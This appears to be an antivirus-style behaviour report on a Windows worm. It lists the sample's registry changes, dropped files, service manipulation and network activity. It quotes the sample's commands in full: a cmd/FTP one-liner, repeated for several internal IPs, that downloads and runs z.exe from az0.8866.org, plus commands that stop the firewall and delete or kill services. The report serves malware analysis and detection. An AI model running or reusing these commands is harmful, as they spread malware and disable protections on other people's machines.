Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'Explorer.exe'
Creates or modifies the following files:
- %WINDIR%\Tasks\KLK8.exe
- %WINDIR%\Tasks\KLKt.vbe
Creates the following services:
- [<HKLM>\SYSTEM\ControlSet001\Services\LmHosts] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\RpcLocator] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\NtLmSsp] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\Browser] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\lanmanserver] 'Start' = '00000002'
- [<HKLM>\SYSTEM\ControlSet001\Services\lanmanworkstation] 'Start' = '00000002'
Malicious functions:
Creates and executes the following:
- '%WINDIR%\Tasks\KLK8.exe' 10.0.0.9 :
- '%WINDIR%\Tasks\KLK8.exe' 10.0.0.8 :
- '%WINDIR%\Tasks\KLK8.exe' 10.0.0.7 :
- '%WINDIR%\Tasks\KLK8.exe' 10.0.0.10 :
- '%WINDIR%\Tasks\KLK8.exe' 10.0.0.13 :
- '%WINDIR%\Tasks\KLK8.exe' 10.0.0.12 :
- '%WINDIR%\Tasks\KLK8.exe' 10.0.0.11 :
- '%WINDIR%\Tasks\KLK8.exe' 10.0.0.2 :
- '%WINDIR%\Tasks\KLK8.exe' 10.0.0.1 :
- '%CommonProgramFiles%\sfbsbvy\coiome.exe'
- '%WINDIR%\Tasks\KLK8.exe' 10.0.0.3 :
- '%WINDIR%\Tasks\KLK8.exe' 10.0.0.5 :
- '%WINDIR%\Tasks\KLK8.exe' 10.0.0.6 :
- '%WINDIR%\Tasks\KLK8.exe' 10.0.0.4 :
Executes the following:
- '<SYSTEM32>\cscript.exe' %WINDIR%\Tasks\KLKt.vbe 10.0.0.3 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
- '<SYSTEM32>\sc.exe' stop Messenger
- '<SYSTEM32>\locator.exe'
- '<SYSTEM32>\sc.exe' delete Messenger
- '<SYSTEM32>\sc.exe' stop LYTC
- '<SYSTEM32>\cscript.exe' %WINDIR%\Tasks\KLKt.vbe 10.0.0.1 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
- '<SYSTEM32>\cscript.exe' %WINDIR%\Tasks\KLKt.vbe 10.0.0.2 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
- '<SYSTEM32>\net1.exe' start NtLmSsp
- '<SYSTEM32>\sc.exe' delete HidServ
- '<SYSTEM32>\cscript.exe' %WINDIR%\Tasks\KLKt.vbe 10.0.0.5 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
- '<SYSTEM32>\cacls.exe' "%ALLUSERSPROFILE%\Application Data\Storm\update" /e /p everyone:n
- '<SYSTEM32>\cscript.exe' %WINDIR%\Tasks\KLKt.vbe 10.0.0.8 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
- '<SYSTEM32>\cscript.exe' %WINDIR%\Tasks\KLKt.vbe 10.0.0.7 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
- '<SYSTEM32>\sc.exe' delete LYTC
- '<SYSTEM32>\cscript.exe' %WINDIR%\Tasks\KLKt.vbe 10.0.0.6 %USERNAME% "" "cmd /c @echo open az0.8866.org>b.dat&@echo a>>b.dat&@echo a>>b.dat&@echo bin>>b.dat&@echo get z.exe>>b.dat&@echo by>>b.dat&@ftp -s:b.dat&del b.dat&z.exe&z.exe&del z.exe"
- '<SYSTEM32>\sc.exe' delete IE_WinserverName
- '<SYSTEM32>\net1.exe' start RpcLocator
- '<SYSTEM32>\sc.exe' config LmHosts start= auto
- '<SYSTEM32>\sc.exe' config lanmanworkstation start= auto
- '<SYSTEM32>\sc.exe' config NtLmSsp start= auto
- '<SYSTEM32>\sc.exe' config RpcLocator start= auto
- '<SYSTEM32>\taskkill.exe' /im coiome.exe /f
- '<SYSTEM32>\mshta.exe' "%PROGRAM_FILES%\HOL.hta"
- '<SYSTEM32>\sc.exe' config lanmanserver start= auto
- '<SYSTEM32>\sc.exe' config Browser start= auto
- '<SYSTEM32>\net1.exe' stop sharedaccess
- '<SYSTEM32>\taskkill.exe' /im iejore.exe /f
- '<SYSTEM32>\net1.exe' start LmHosts
- '<SYSTEM32>\taskkill.exe' /im conime.exe /f
- '<SYSTEM32>\net1.exe' start lanmanworkstation
- '<SYSTEM32>\net1.exe' start lanmanserver
- '<SYSTEM32>\sc.exe' delete JavaServe
- '<SYSTEM32>\net1.exe' start Browser
Modifies file system :
Creates the following files:
- \Device\LanmanRedirector\10.0.0.5\pipe\browser
- \Device\LanmanRedirector\10.0.0.6\pipe\browser
- \Device\LanmanRedirector\10.0.0.4\pipe\browser
- \Device\LanmanRedirector\10.0.0.7\pipe\browser
- \Device\LanmanRedirector\10.0.0.10\pipe\browser
- \Device\LanmanRedirector\10.0.0.9\pipe\browser
- \Device\LanmanRedirector\10.0.0.8\pipe\browser
- \Device\LanmanRedirector\10.0.0.3\pipe\browser
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\b[1].jpg
- %CommonProgramFiles%\sfbsbvy\coiome.exe
- %PROGRAM_FILES%\HOL.hta
- %WINDIR%\Fonts\oo.ini
- \Device\LanmanRedirector\10.0.0.1\pipe\browser
- \Device\LanmanRedirector\10.0.0.2\pipe\browser
- %HOMEPATH%\Desktop\2345НшЦ·µјєЅ.url
Deletes the following files:
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\b[1].jpg
- %PROGRAM_FILES%\HOL.hta
Deletes itself.
Network activity:
Connects to:
- '<Private IP address>':445
- '<Private IP address>':135
- '<Private IP address>':139
- 'localhost':1035
- 'r.###6800.com':80
- 'tj.##16800.com':80
TCP:
HTTP GET requests:
- tj.##16800.com/t/Count.asp?ma################################
- r.###6800.com/b.jpg
UDP:
- DNS ASK tj.##16800.com
- DNS ASK r.###6800.com
Miscellaneous:
Searches for the following windows:
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: '(null)' WindowName: '(null)'
